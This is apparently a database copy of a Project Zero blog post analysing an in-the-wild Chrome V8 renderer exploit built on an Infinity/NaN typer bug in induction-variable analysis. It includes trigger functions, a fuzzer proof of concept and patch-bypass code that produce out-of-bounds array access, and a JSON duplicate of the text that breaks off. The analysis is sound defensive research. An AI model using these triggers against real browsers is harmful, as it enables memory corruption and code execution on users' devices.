ID GOOGLEPROJECTZERO:3397E6EF67D4C71C395ED0244548698A Type googleprojectzero Reporter GoogleProjectZero Modified 2021-01-12T00:00:00
Description
This is part 2 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the introduction post.
Posted by Sergei Glazunov, Project Zero
This post only covers one of the exploits, specifically a renderer exploit targeting Chrome 73-78 on Android. We use it as an opportunity to talk about an interesting vulnerability class in Chrome’s JavaScript engine.
Brief introduction to typer bugs
One of the features that make JavaScript code especially difficult to optimize is the dynamic type system. Even for a trivial expression like a + b the engine has to support a multitude of cases depending on whether the parameters are numbers, strings, booleans, objects, etc. JIT compilation wouldn’t make much sense if the compiler always had to emit machine code that could handle every possible type combination for every JS operation. Chrome’s JavaScript engine, V8, tries to overcome this limitation through type speculation. During the first several invocations of a JavaScript function, the interpreter records the type information for various operations such as parameter accesses and property loads. If the function is later selected to be JIT compiled, TurboFan, which is V8’s newest compiler, makes an assumption that the observed types will be used in all subsequent calls, and propagates the type information throughout the whole function graph using the set of rules derived from the language specification. For example: if at least one of the operands to the addition operator is a string, the output is guaranteed to be a string as well; Math.random() always returns a number; and so on. The compiler also puts runtime checks for the speculated types that trigger deoptimization (i.e., revert to execution in the interpreter and update the type feedback) in case one of the assumptions no longer holds.
For integers, V8 goes even further and tracks the possible range of nodes. The main reason behind that is that even though the ECMAScript specification defines Number as the 64-bit floating point type, internally, TurboFan always tries to use the most efficient representation possible in a given context, which could be a 64-bit integer, 31-bit tagged integer, etc. Range information is also employed in other optimizations. For example, the compiler is smart enough to figure out that in the following code snippet, the branch can never be taken and therefore eliminate the whole if statement:
a = Math.min(a, 1);
if (a > 2) {
return 3;
}
Now, imagine there’s an issue that makes TurboFan believe that the function vuln() returns a value in the range [0; 2] whereas its actual range is [0; 4]. Consider the code below:
a = vuln(a);
let array = [1, 2, 3];
return array[a];
If the engine has never encountered an out-of-bounds access attempt while running the code in the interpreter, it will instruct the compiler to transform the last line into a sequence that at a certain optimization phase, can be expressed by the following pseudocode:
if (a >= array.length) {
deoptimize();
}
let elements = array.[[elements]];
return elements.get(a);
get() acts as a C-style element access operation and performs no bounds checks. In subsequent optimization phases the compiler will discover that, according to the available type information, the length check is redundant and eliminate it completely. Consequently, the generated code will be able to access out-of-bounds data.
The bug class outlined above is the main subject of this blog post; and bounds check elimination is the most popular exploitation technique for this class. A textbook example of such a vulnerability is the off-by-one issue in the typer rule for String.indexOf found by Stephen Röttger.
A typer vulnerability doesn’t have to immediately result in an integer range miscalculation that would lead to OOB access because it’s possible to make the compiler propagate the error. For example, if vuln() returns an unexpected boolean value, we can easily transform it into an unexpected integer:
a = vuln(a); // predicted = false; actual = true
a = a * 10; // predicted = 0; actual = 10
let array = [1, 2, 3];
return array[a];
Another notable bug report by Stephen demonstrates that even a subtle mistake such as omitting negative zero can be exploited in the same fashion.
At a certain point, this vulnerability class became extremely popular as it immediately provided an attacker with an enormously powerful and reliable exploitation primitive. Fellow Project Zero member Mark Brand has used it in his full-chain Chrome exploit. The bug class has made an appearance at several CTFs and exploit competitions. As a result, last year the V8 team issued a hardening patch designed to prevent attackers from abusing bounds check elimination. Instead of removing the checks, the compiler started marking them as “aborting”, so in the worst case the attacker can only trigger a SIGTRAP.
Induction variable analysis
The renderer exploit we’ve discovered takes advantage of an issue in a function designed to compute the type of induction variables. The slightly abridged source code below is taken from the latest affected revision of V8:
Type Typer::Visitor::TypeInductionVariablePhi(Node* node) {
[...]
// We only handle integer induction variables (otherwise ranges
// do not apply and we cannot do anything).
if (!initial_type.Is(typer_->cache_->kInteger) ||
!increment_type.Is(typer_->cache_->kInteger)) {
// Fallback to normal phi typing, but ensure monotonicity.
// (Unfortunately, without baking in the previous type,
// monotonicity might be violated because we might not yet have
// retyped the incrementing operation even though the increment's
// type might been already reflected in the induction variable
// phi.)
Type type = NodeProperties::IsTyped(node)
? NodeProperties::GetType(node)
: Type::None();
for (int i = 0; i < arity; ++i) {
type = Type::Union(type, Operand(node, i), zone());
}
return type;
}
// If we do not have enough type information for the initial value
// or the increment, just return the initial value's type.
for (auto bound : induction_var->upper_bounds()) {
Type bound_type = TypeOrNone(bound.bound);
// If the type is not an integer, just skip the bound.
if (!bound_type.Is(typer_->cache_->kInteger)) continue;
// If the type is not inhabited, then we can take the initial
// value.
if (bound_type.IsNone()) {
max = initial_type.Max();
break;
}
double bound_max = bound_type.Max();
if (bound.kind == InductionVariable::kStrict) {
bound_max -= 1;
}
max = std::min(max, bound_max + increment_max);
}
// The upper bound must be at least the initial value's upper
// bound.
max = std::max(max, initial_type.Max());
} else if (increment_max <= 0) {
// decreasing sequence
[...]
} else {
// Shortcut: If the increment can be both positive and negative,
// the variable can go arbitrarily far, so just return integer.
return typer_->cache_->kInteger;
}
[...]
return Type::Range(min, max, typer_->zone());
}
Now, imagine the compiler processing the following JavaScript code:
for (var i = initial; i < bound; i += increment) { [...] }
In short, when the loop has been identified as increasing, the lower bound of initial becomes the lower bound of i, and the upper bound is calculated as the sum of the upper bounds of bound and increment. There’s a similar branch for decreasing loops, and a special case for variables that can be both increasing and decreasing. The loop variable is named phi in the method because TurboFan operates on an intermediate representation in the static single assignment form.
Note that the algorithm only works with integers, otherwise a more conservative estimation method is applied. However, in this context an integer refers to a rather special type, which isn’t bound to any machine integer type and can be represented as a floating point value in memory. The type holds two unusual properties that have made the vulnerability possible:
+Infinity and -Infinity belong to it, whereas NaN and -0 don’t.
The type is not closed under addition, i.e., adding two integers doesn’t always result in an integer. Namely, +Infinity + -Infinity yields NaN.
Thus, for the following loop the algorithm infers (-Infinity; +Infinity) as the induction variable type, while the actual value after the first iteration of the loop will be NaN:
for (var i = -Infinity; i < 0; i += Infinity) { }
This one line is enough to trigger the issue. The exploit author has had to make only two minor changes: (1) parametrize increment in order to make the value of i match the future inferred type during initial invocations in the interpreter and (2) introduce an extra variable to ensure the loop eventually ends. As a result, after deobfuscation, the relevant part of the trigger function looks as follows:
function trigger(argument) {
var j = 0;
var increment = 100;
if (argument > 2) {
increment = Infinity;
}
for (var i = -Infinity; i <= -Infinity; i += increment) {
j++;
if (j == 20) {
break;
}
}
[...]
The resulting type mismatch, however, doesn’t immediately let the attacker run arbitrary code. Given that the previously widely used bounds check elimination technique is no longer applicable, we were particularly interested to learn how the attacker approached exploiting the issue.
Exploitation
The trigger function continues with a series of operations aimed at transforming the type mismatch into an integer range miscalculation, similarly to what would follow in the previous technique, but with the additional requirement that the computed range must be narrowed down to a single number. Since the discovered exploit targets mobile devices, the exact instruction sequence used in the exploit only works for ARM processors. For the ease of the reader, we've modified it to be compatible with x64 as well.
[...]
// The comments display the current value of the variable i, the type
// inferred by the compiler, and the machine type used to store
// the value at each step.
// Initially:
// actual = NaN, inferred = (-Infinity, +Infinity)
// representation = double
i = Math.max(i, 0x100000800);
// After step one:
// actual = NaN, inferred = [0x100000800; +Infinity)
// representation = double
i = Math.min(0x100000801, i);
// After step two:
// actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]
// representation = int64_t
i -= 0x1000007fa;
// After step three:
// actual = -2042, inferred = [6, 7]
// representation = int32_t
i >>= 1;
// After step four:
// actual = -1021, inferred = 3
// representation = int32_t
i += 10;
// After step five:
// actual = -1011, inferred = 13
// representation = int32_t
[...]
The first notable transformation occurs in step two. TurboFan decides that the most appropriate representation for i at this point is a 64-bit integer as the inferred range is entirely within int64_t, and emits the CVTTSD2SI instruction to convert the double argument. Since NaN doesn’t fit in the integer range, the instruction returns the “indefinite integer value” -0x8000000000000000. In the next step, the compiler determines it can use the even narrower int32_t type. It discards the higher 32-bit word of i, assuming that for the values in the given range it has the same effect as subtracting 0x100000000, and then further subtracts 0x7fa. The remaining two operations are straightforward; however, one might wonder why the attacker couldn’t make the compiler derive the required single-value type directly in step two. The answer lies in the optimization pass called the constant-folding reducer.
If the reducer discovered that the output type of the NumberMin operator was a constant, it would replace the node with a reference to the constant thus eliminating the type mismatch. That doesn’t apply to the SpeculativeNumberShiftRight and SpeculativeSafeIntegerAdd nodes, which represent the operations in steps four and five while the reducer is running, because they both are capable of triggering deoptimization and therefore not marked as eliminable.
Formerly, the next step would be to abuse this mismatch to optimize away an array bounds check. Instead, the attacker makes use of the incorrectly typed value to create a JavaScript array for which bounds checks always pass even outside the compiled function. Consider the following method, which attempts to optimize array constructor calls:
When the argument is known to be an integer constant less than 16, the compiler inlines the array creation procedure and unrolls the element initialization loop. ReduceJSCreateArray doesn’t rely on the constant-folding reducer and implements its own less strict equivalent that just compares the upper and lower bounds of the inferred type. Unfortunately, even after folding the function keeps using the original argument node. The folded value is employed during initialization of the backing store while the length property of the array is set to the original node. This means that if we pass the value we obtained at step five to the constructor, it will return an array with the negative length and backing store that can fit 13 elements. Given that bounds checks are implemented as unsigned comparisons, the сrafted array will allow us to access data well past its end. In fact, any positive value bigger than its predicted version would work as well.
The rest of the trigger function is provided below:
The attacker forces TurboFan to put the data required for further exploitation right next to the corrupted array and to use the double element type for the backing store as it’s the most convenient type for dealing with out-of-bounds data in the V8 heap.
From this point on, the exploit follows the same algorithm that public V8 exploits have been following for several years:
Locate the required pointers and object fields through pattern-matching.
Construct an arbitrary memory access primitive using an extra JavaScript array and ArrayBuffer.
Follow the pointer chain from a WebAssembly module instance to locate a writable and executable memory page.
Overwrite the body of a WebAssembly function inside the page with the attacker’s payload.
Finally, execute it.
The contents of the payload, which is about half a megabyte in size, will be discussed in detail in a subsequent blog post.
Given that the vast majority of Chrome exploits we have seen at Project Zero come from either exploit competitions or VRP submissions, the most striking difference this exploit has demonstrated lies in its focus on stability and reliability. Here are some examples. Almost the entire exploit is executed inside a web worker, which means it has a separate JavaScript environment and runs in its own thread. This greatly reduces the chance of the garbage collector causing an accidental crash due to the inconsistent heap state. The main thread part is only responsible for restarting the worker in case of failure and passing status information to the attacker’s server. The exploit attempts to further reduce the time window for GC crashes by ensuring that every corrupted field is restored to the original value as soon as possible. It also employs the OOB access primitive early on to verify the processor architecture information provided in the user agent header. Finally, the author has clearly aimed to keep the number of hard-coded constants to a minimum. Despite supporting a wide range of Chrome versions, the exploit relies on a single version-dependent offset, namely, the offset in the WASM instance to the executable page pointer.
Patch 1
Even though there’s evidence this vulnerability has been originally used as a 0-day, by the time we obtained the exploit, it had already been fixed. The issue was reported to Chrome by security researchers Soyeon Park and Wen Xu in November 2019 and was assigned CVE-2019-13764. The proof of concept provided in the report is shown below:
function write(begin, end, step) {
for (var i = begin; i >= end; i += step) {
step = end - begin;
begin >>>= 805306382;
}
}
var buffer = new ArrayBuffer(16384);
var view = new Uint32Array(buffer);
for (let i = 0; i < 10000; i++) {
write(Infinity, 1, view[65536], 1);
}
As the reader can see, it’s not the most straightforward way to trigger the issue. The code resembles fuzzer output, and the reporters confirmed that the bug had been found through fuzzing. Given the available evidence, we’re fully confident that it was an independent discovery (sometimes referred to as a "bug collision").
Since the proof of concept could only lead to a SIGTRAP crash, and the reporters hadn’t demonstrated, for example, a way to trigger memory corruption, it was initially considered a low-severity issue by the V8 engineers, however, after an internal discussion, the V8 team raised the severity rating to high.
In the light of the in-the-wild exploitation evidence, we decided to give the fix, which had introduced an explicit check for the NaN case, a thorough examination:
[...]
const bool both_types_integer =
initial_type.Is(typer_->cache_->kInteger) &&
increment_type.Is(typer_->cache_->kInteger);
bool maybe_nan = false;
// The addition or subtraction could still produce a NaN, if the integer
// We only handle integer induction variables (otherwise ranges
// do not apply and we cannot do anything).
if (!both_types_integer || maybe_nan) {
[...]
The code makes the assumption that the loop variable may only become NaN if the sum or difference of initial and increment is NaN. At first sight, it seems like a fair assumption. The issue arises from the fact that the value of increment can be changed from inside the loop, which isn’t obvious from the exploit but demonstrated in the proof of concept sent to Chrome. The typer takes into account these changes and reflects them in increment’s computed type. Therefore, the attacker can, for example, add negative increment to i until the latter becomes -Infinity, then change the sign of increment and force the loop to produce NaN once more, as demonstrated by the code below:
var increment = -Infinity;
var k = 0;
for (var i = 0; i < 1; i += increment) {
if (i == -Infinity) {
increment = +Infinity;
}
if (++k > 10) {
break;
}
}
Thus, to “revive” the entire exploit, the attacker only needs to change a couple of lines in trigger.
Patch 2
The discovered variant was reported to Chrome in February along with the exploitation technique found in the exploit. This time the patch took a more conservative approach and made the function bail out as soon as the typer detects that increment can be Infinity.
[...]
// If we do not have enough type information for the initial value or
// the increment, just return the initial value's type.
// We only handle integer induction variables (otherwise ranges do not
// apply and we cannot do anything). Moreover, we don't support infinities
// in {increment_type} because the induction variable can become NaN
// through addition/subtraction of opposing infinities.
if (!initial_type.Is(typer_->cache_->kInteger) ||
!increment_type.Is(typer_->cache_->kInteger) ||
increment_type.Min() == -V8_INFINITY ||
increment_type.Max() == +V8_INFINITY) {
[...]
Additionally, ReduceJSCreateArray was updated to always use the same value for both the length property and backing store capacity, thus rendering the reported exploitation technique useless.
Unfortunately, the new patch contained an unintended change that introduced another security issue. If we look at the source code of TypeInductionVariablePhi before the patches, we find that it checks whether the type of increment is limited to the constant zero. In this case, it assigns the type of initial to the induction variable. The second patch moved the check above the line that ensures initial is an integer. In JavaScript, however, adding or subtracting zero doesn’t necessarily preserve the type, for example:
|
|
-0
|
+
|
0
|
=>
|
-0
---|---|---|---|---|---|---
|
|
[string]
|
-
|
0
|
=>
|
[number]
|
|
[object]
|
+
|
0
|
=>
|
[string]
As a result, the patched function provides us with an even wider choice of possible “type confusions”.
It was considered worthwhile to examine how difficult it would be to find a replacement for the ReduceJSCreateArray technique and exploit the new issue. The task turned out to be a lot easier than initially expected because we soon found this excellent blog post written by Jeremy Fetiveau, where he describes a way to bypass the initial bounds check elimination hardening. In short, depending on whether the engine has encountered an out-of-bounds element access attempt during the execution of a function in the interpreter, it instructs the compiler to emit either the CheckBounds or NumberLessThan node, and only the former is covered by the hardening. Consequently, the attacker just needs to make sure that the function attempts to access a non-existent array element in one of the first few invocations.
We find it interesting that even though this equally powerful and convenient technique has been publicly available since last May, the attacker has chosen to rely on their own method. It is conceivable that the exploit had been developed even before the blog post came out.
Once again, the technique requires an integer with a miscalculated range, so the revamped trigger function mostly consists of various type transformations:
function trigger(arg) {
// Initially:
// actual = 1, inferred = any
var k = 0;
arg = arg | 0;
// After step one:
// actual = 1, inferred = [-0x80000000, 0x7fffffff]
arg = Math.min(arg, 2);
// After step two:
// actual = 1, inferred = [-0x80000000, 2]
arg = Math.max(arg, 1);
// After step three:
// actual = 1, inferred = [1, 2]
if (arg == 1) {
arg = "30";
}
// After step four:
// actual = string{30}, inferred = [1, 2] or string{30}
for (var i = arg; i < 0x1000; i -= 0) {
if (++k > 1) {
break;
}
}
// After step five:
// actual = number{30}, inferred = [1, 2] or string{30}
i += 1;
// After step six:
// actual = 31, inferred = [2, 3]
i >>= 1;
// After step seven:
// actual = 15, inferred = 1
i += 2;
// After step eight:
// actual = 17, inferred = 3
i >>= 1;
// After step nine:
// actual = 8, inferred = 1
var array = [0.1, 0.1, 0.1, 0.1];
return [array[i], array];
}
The mismatch between the number 30 and string “30” occurs in step five. The next operation is represented by the SpeculativeSafeIntegerAdd node. The typer is aware that whenever this node encounters a non-number argument, it immediately triggers deoptimization. Hence, all non-number elements of the argument type can be ignored. The unexpected integer value, which obviously doesn’t cause the deoptimization, enables us to generate an erroneous range. Eventually, the compiler eliminates the NumberLessThan node, which is supposed to protect the element access in the last line, based on the observed range.
Patch 3
Soon after we had identified the regression, the V8 team landed a patch that removed the vulnerable code branch. They also took a number of additional hardening measures, for example:
Discovered and fixed a similar problem with the elimination of MaybeGrowFastElements. Under certain conditions, this node, which may resize the backing store of a given array, is placed before StoreElement to ensure the array can fit the element. Consequently, the elimination of the node could allow an attacker to write data past the end of the backing store.
Implemented a verifier for induction variables that validates the computed type against the more conservative regular phi typing.
Furthermore, the V8 engineers have been working on a feature that allows TurboFan to insert runtime type checks into generated code. The feature should make fuzzing for typer issues much more efficient.
Conclusion
This blog post is meant to provide insight into the complexity of type tracking in JavaScript. The number of obscure rules and constraints an engineer has to bear in mind while working on the feature almost inevitably leads to errors, and, quite often even the slightest issue in the typer is enough to build a powerful and reliable exploit.
Also, the reader is probably familiar with the hypothesis of an enormous disparity between the state of public and private offensive security research. The fact that we’ve discovered a rather sophisticated attacker who has exploited a vulnerability in the class that has been under the scrutiny of the wider security community for at least a couple of years suggests that there’s nevertheless a certain overlap. Moreover, we were especially pleased to see a bug collision between a VRP submission and an in-the-wild 0-day exploit.
This is part 2 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To continue reading, see In The Wild Part 3: Chrome Exploits.
{"id": "GOOGLEPROJECTZERO:3397E6EF67D4C71C395ED0244548698A", "type": "googleprojectzero", "bulletinFamily": "info", "title": "\nIn-the-Wild Series: Chrome Infinity Bug\n", "description": "This is part 2 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the [introduction post](<https://googleprojectzero.blogspot.com/2021/01/introducing-in-wild-series.html>).\n\nPosted by Sergei Glazunov, Project Zero\n\nThis post only covers one of the exploits, specifically a renderer exploit targeting Chrome 73-78 on Android. We use it as an opportunity to talk about an interesting vulnerability class in Chrome\u2019s JavaScript engine.\n\n### Brief introduction to typer bugs\n\nOne of the features that make JavaScript code especially difficult to optimize is the dynamic type system. Even for a trivial expression like a + b the engine has to support a multitude of cases depending on whether the parameters are numbers, strings, booleans, objects, etc. JIT compilation wouldn\u2019t make much sense if the compiler always had to emit machine code that could handle every possible type combination for every JS operation. Chrome\u2019s JavaScript engine, V8, tries to overcome this limitation through type speculation. During the first several invocations of a JavaScript function, the interpreter records the type information for various operations such as parameter accesses and property loads. If the function is later selected to be JIT compiled, TurboFan, which is V8\u2019s newest compiler, makes an assumption that the observed types will be used in all subsequent calls, and propagates the type information throughout the whole function graph using the set of rules derived from the language specification. For example: if at least one of the operands to the addition operator is a string, the output is guaranteed to be a string as well; Math.random() always returns a number; and so on. The compiler also puts runtime checks for the speculated types that trigger deoptimization (i.e., revert to execution in the interpreter and update the type feedback) in case one of the assumptions no longer holds.\n\nFor integers, V8 goes even further and tracks the possible range of nodes. The main reason behind that is that even though the ECMAScript specification defines Number as the 64-bit floating point type, internally, TurboFan always tries to use the most efficient representation possible in a given context, which could be a 64-bit integer, 31-bit tagged integer, etc. Range information is also employed in other optimizations. For example, the compiler is smart enough to figure out that in the following code snippet, the branch can never be taken and therefore eliminate the whole if statement:\n\na = Math.min(a, 1);\n\nif (a > 2) {\n\nreturn 3;\n\n} \n \n--- \n \nNow, imagine there\u2019s an issue that makes TurboFan believe that the function vuln() returns a value in the range [0; 2] whereas its actual range is [0; 4]. Consider the code below:\n\na = vuln(a);\n\nlet array = [1, 2, 3];\n\nreturn array[a]; \n \n--- \n \nIf the engine has never encountered an out-of-bounds access attempt while running the code in the interpreter, it will instruct the compiler to transform the last line into a sequence that at a certain optimization phase, can be expressed by the following pseudocode:\n\nif (a >= array.length) {\n\ndeoptimize();\n\n}\n\nlet elements = array.[[elements]];\n\nreturn elements.get(a); \n \n--- \n \nget() acts as a C-style element access operation and performs no bounds checks. In subsequent optimization phases the compiler will discover that, according to the available type information, the length check is redundant and eliminate it completely. Consequently, the generated code will be able to access out-of-bounds data.\n\nThe bug class outlined above is the main subject of this blog post; and bounds check elimination is the most popular exploitation technique for this class. A textbook example of such a vulnerability is [the off-by-one issue in the typer rule for String.indexOf](<https://bugs.chromium.org/p/chromium/issues/detail?id=762874>) found by Stephen R\u00f6ttger.\n\nA typer vulnerability doesn\u2019t have to immediately result in an integer range miscalculation that would lead to OOB access because it\u2019s possible to make the compiler propagate the error. For example, if vuln() returns an unexpected boolean value, we can easily transform it into an unexpected integer:\n\na = vuln(a); // predicted = false; actual = true\n\na = a * 10; // predicted = 0; actual = 10\n\nlet array = [1, 2, 3];\n\nreturn array[a]; \n \n--- \n \nAnother [notable bug report](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1710>) by Stephen demonstrates that even a subtle mistake such as omitting negative zero can be exploited in the same fashion.\n\nAt a certain point, this vulnerability class became extremely popular as it immediately provided an attacker with an enormously powerful and reliable exploitation primitive. Fellow Project Zero member Mark Brand has used it in his [full-chain Chrome exploit](<https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html>). The bug class has made an appearance at several [CTFs](<https://www.jaybosamiya.com/blog/2019/01/02/krautflare/>) and [exploit competitions](<https://bugs.chromium.org/p/chromium/issues/detail?id=906043>). As a result, last year the V8 team issued [a hardening patch](<https://bugs.chromium.org/p/v8/issues/detail?id=8806>) designed to prevent attackers from abusing bounds check elimination. Instead of removing the checks, the compiler started marking them as \u201caborting\u201d, so in the worst case the attacker can only trigger a SIGTRAP.\n\n### Induction variable analysis\n\nThe renderer exploit we\u2019ve discovered takes advantage of an issue in a function designed to compute the type of [induction variables](<https://en.wikipedia.org/wiki/Induction_variable>). The slightly abridged source code below is taken from the [latest affected revision](<https://chromium.googlesource.com/v8/v8.git/+/0da7ca8781c6c7ec852bef845b72ca7f212cdc23/src/compiler/typer.cc>) of V8:\n\nType Typer::Visitor::TypeInductionVariablePhi(Node* node) {\n\n[...]\n\n// We only handle integer induction variables (otherwise ranges\n\n// do not apply and we cannot do anything).\n\nif (!initial_type.Is(typer_->cache_->kInteger) ||\n\n!increment_type.Is(typer_->cache_->kInteger)) {\n\n// Fallback to normal phi typing, but ensure monotonicity.\n\n// (Unfortunately, without baking in the previous type,\n\n// monotonicity might be violated because we might not yet have\n\n// retyped the incrementing operation even though the increment's\n\n// type might been already reflected in the induction variable\n\n// phi.)\n\nType type = NodeProperties::IsTyped(node)\n\n? NodeProperties::GetType(node)\n\n: Type::None();\n\nfor (int i = 0; i < arity; ++i) {\n\ntype = Type::Union(type, Operand(node, i), zone());\n\n}\n\nreturn type;\n\n}\n\n// If we do not have enough type information for the initial value\n\n// or the increment, just return the initial value's type.\n\nif (initial_type.IsNone() ||\n\nincrement_type.Is(typer_->cache_->kSingletonZero)) {\n\nreturn initial_type;\n\n}\n\n[...]\n\nInductionVariable::ArithmeticType arithmetic_type =\n\ninduction_var->Type();\n\ndouble min = -V8_INFINITY;\n\ndouble max = V8_INFINITY;\n\ndouble increment_min;\n\ndouble increment_max;\n\nif (arithmetic_type ==\n\nInductionVariable::ArithmeticType::kAddition) {\n\nincrement_min = increment_type.Min();\n\nincrement_max = increment_type.Max();\n\n} else {\n\nDCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction,\n\narithmetic_type);\n\nincrement_min = -increment_type.Max();\n\nincrement_max = -increment_type.Min();\n\n}\n\nif (increment_min >= 0) {\n\n// increasing sequence\n\nmin = initial_type.Min();\n\nfor (auto bound : induction_var->upper_bounds()) {\n\nType bound_type = TypeOrNone(bound.bound);\n\n// If the type is not an integer, just skip the bound.\n\nif (!bound_type.Is(typer_->cache_->kInteger)) continue;\n\n// If the type is not inhabited, then we can take the initial\n\n// value.\n\nif (bound_type.IsNone()) {\n\nmax = initial_type.Max();\n\nbreak;\n\n}\n\ndouble bound_max = bound_type.Max();\n\nif (bound.kind == InductionVariable::kStrict) {\n\nbound_max -= 1;\n\n}\n\nmax = std::min(max, bound_max + increment_max);\n\n}\n\n// The upper bound must be at least the initial value's upper\n\n// bound.\n\nmax = std::max(max, initial_type.Max());\n\n} else if (increment_max <= 0) {\n\n// decreasing sequence\n\n[...]\n\n} else {\n\n// Shortcut: If the increment can be both positive and negative,\n\n// the variable can go arbitrarily far, so just return integer.\n\nreturn typer_->cache_->kInteger;\n\n}\n\n[...]\n\nreturn Type::Range(min, max, typer_->zone());\n\n} \n \n--- \n \nNow, imagine the compiler processing the following JavaScript code:\n\nfor (var i = initial; i < bound; i += increment) { [...] } \n \n--- \n \nIn short, when the loop has been identified as increasing, the lower bound of initial becomes the lower bound of i, and the upper bound is calculated as the sum of the upper bounds of bound and increment. There\u2019s a similar branch for decreasing loops, and a special case for variables that can be both increasing and decreasing. The loop variable is named phi in the method because TurboFan operates on an intermediate representation in the [static single assignment](<https://en.wikipedia.org/wiki/Static_single_assignment_form>) form.\n\nNote that the algorithm only works with integers, otherwise a more conservative estimation method is applied. However, in this context an integer refers to a rather special type, which isn\u2019t bound to any machine integer type and can be represented as a floating point value in memory. The type holds two unusual properties that have made the vulnerability possible:\n\n * +Infinity and -Infinity belong to it, whereas NaN and -0 don\u2019t.\n * The type is not closed under addition, i.e., adding two integers doesn\u2019t always result in an integer. Namely, +Infinity + -Infinity yields NaN.\n\nThus, for the following loop the algorithm infers (-Infinity; +Infinity) as the induction variable type, while the actual value after the first iteration of the loop will be NaN:\n\nfor (var i = -Infinity; i < 0; i += Infinity) { } \n \n--- \n \nThis one line is enough to trigger the issue. The exploit author has had to make only two minor changes: (1) parametrize increment in order to make the value of i match the future inferred type during initial invocations in the interpreter and (2) introduce an extra variable to ensure the loop eventually ends. As a result, after deobfuscation, the relevant part of the trigger function looks as follows:\n\nfunction trigger(argument) {\n\nvar j = 0;\n\nvar increment = 100;\n\nif (argument > 2) {\n\nincrement = Infinity;\n\n}\n\nfor (var i = -Infinity; i <= -Infinity; i += increment) {\n\nj++;\n\nif (j == 20) {\n\nbreak;\n\n}\n\n}\n\n[...] \n \n--- \n \nThe resulting type mismatch, however, doesn\u2019t immediately let the attacker run arbitrary code. Given that the previously widely used bounds check elimination technique is no longer applicable, we were particularly interested to learn how the attacker approached exploiting the issue. \n\n### Exploitation\n\nThe trigger function continues with a series of operations aimed at transforming the type mismatch into an integer range miscalculation, similarly to what would follow in the previous technique, but with the additional requirement that the computed range must be narrowed down to a single number. Since the discovered exploit targets mobile devices, the exact instruction sequence used in the exploit only works for ARM processors. For the ease of the reader, we've modified it to be compatible with x64 as well.\n\n[...]\n\n// The comments display the current value of the variable i, the type\n\n// inferred by the compiler, and the machine type used to store\n\n// the value at each step.\n\n// Initially:\n\n// actual = NaN, inferred = (-Infinity, +Infinity)\n\n// representation = double\n\ni = Math.max(i, 0x100000800);\n\n// After step one:\n\n// actual = NaN, inferred = [0x100000800; +Infinity)\n\n// representation = double\n\ni = Math.min(0x100000801, i);\n\n// After step two:\n\n// actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]\n\n// representation = int64_t\n\ni -= 0x1000007fa;\n\n// After step three:\n\n// actual = -2042, inferred = [6, 7]\n\n// representation = int32_t\n\ni >>= 1;\n\n// After step four:\n\n// actual = -1021, inferred = 3\n\n// representation = int32_t\n\ni += 10;\n\n// After step five:\n\n// actual = -1011, inferred = 13\n\n// representation = int32_t\n\n[...] \n \n--- \n \nThe first notable transformation occurs in step two. TurboFan decides that the most appropriate representation for i at this point is a 64-bit integer as the inferred range is entirely within int64_t, and emits the CVTTSD2SI instruction to convert the double argument. Since NaN doesn\u2019t fit in the integer range, the instruction returns the [\u201cindefinite integer value\u201d](<https://www.felixcloutier.com/x86/cvttss2si>) -0x8000000000000000. In the next step, the compiler determines it can use the even narrower int32_t type. It discards the higher 32-bit word of i, assuming that for the values in the given range it has the same effect as subtracting 0x100000000, and then further subtracts 0x7fa. The remaining two operations are straightforward; however, one might wonder why the attacker couldn\u2019t make the compiler derive the required single-value type directly in step two. The answer lies in the optimization pass called the constant-folding reducer.\n\nReduction ConstantFoldingReducer::Reduce(Node* node) {\n\nDisallowHeapAccess no_heap_access;\n\nif (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&\n\nnode->op()->HasProperty(Operator::kEliminatable) &&\n\nnode->opcode() != IrOpcode::kFinishRegion) {\n\nNode* constant = TryGetConstant(jsgraph(), node);\n\nif (constant != nullptr) {\n\nReplaceWithValue(node, constant);\n\nreturn Replace(constant);\n\n[...] \n \n--- \n \nIf the reducer discovered that the output type of the NumberMin operator was a constant, it would replace the node with a reference to the constant thus eliminating the type mismatch. That doesn\u2019t apply to the SpeculativeNumberShiftRight and SpeculativeSafeIntegerAdd nodes, which represent the operations in steps four and five while the reducer is running, because they both are capable of triggering deoptimization and therefore not marked as eliminable.\n\nFormerly, the next step would be to abuse this mismatch to optimize away an array bounds check. Instead, the attacker makes use of the incorrectly typed value to create a JavaScript array for which bounds checks always pass even outside the compiled function. Consider the following method, which attempts to optimize array constructor calls:\n\nReduction JSCreateLowering::ReduceJSCreateArray(Node* node) {\n\n[...]\n\n} else if (arity == 1) {\n\nNode* length = NodeProperties::GetValueInput(node, 2);\n\nType length_type = NodeProperties::GetType(length);\n\nif (!length_type.Maybe(Type::Number())) {\n\n// Handle the single argument case, where we know that the value\n\n// cannot be a valid Array length.\n\nelements_kind = GetMoreGeneralElementsKind(\n\nelements_kind, IsHoleyElementsKind(elements_kind)\n\n? HOLEY_ELEMENTS\n\n: PACKED_ELEMENTS);\n\nreturn ReduceNewArray(node, std::vector<Node*>{length}, *initial_map,\n\nelements_kind, allocation,\n\nslack_tracking_prediction);\n\n}\n\nif (length_type.Is(Type::SignedSmall()) && length_type.Min() >= 0 &&\n\nlength_type.Max() <= kElementLoopUnrollLimit &&\n\nlength_type.Min() == length_type.Max()) {\n\nint capacity = static_cast<int>(length_type.Max());\n\nreturn ReduceNewArray(node, length, capacity, *initial_map,\n\nelements_kind, allocation,\n\nslack_tracking_prediction);\n\n[...] \n \n--- \n \nWhen the argument is known to be an integer constant less than 16, the compiler inlines the array creation procedure and unrolls the element initialization loop. ReduceJSCreateArray doesn\u2019t rely on the constant-folding reducer and implements its own less strict equivalent that just compares the upper and lower bounds of the inferred type. Unfortunately, even after folding the function keeps using the original argument node. The folded value is employed during initialization of the backing store while the length property of the array is set to the original node. This means that if we pass the value we obtained at step five to the constructor, it will return an array with the negative length and backing store that can fit 13 elements. Given that bounds checks are implemented as unsigned comparisons, the \u0441rafted array will allow us to access data well past its end. In fact, any positive value bigger than its predicted version would work as well.\n\nThe rest of the trigger function is provided 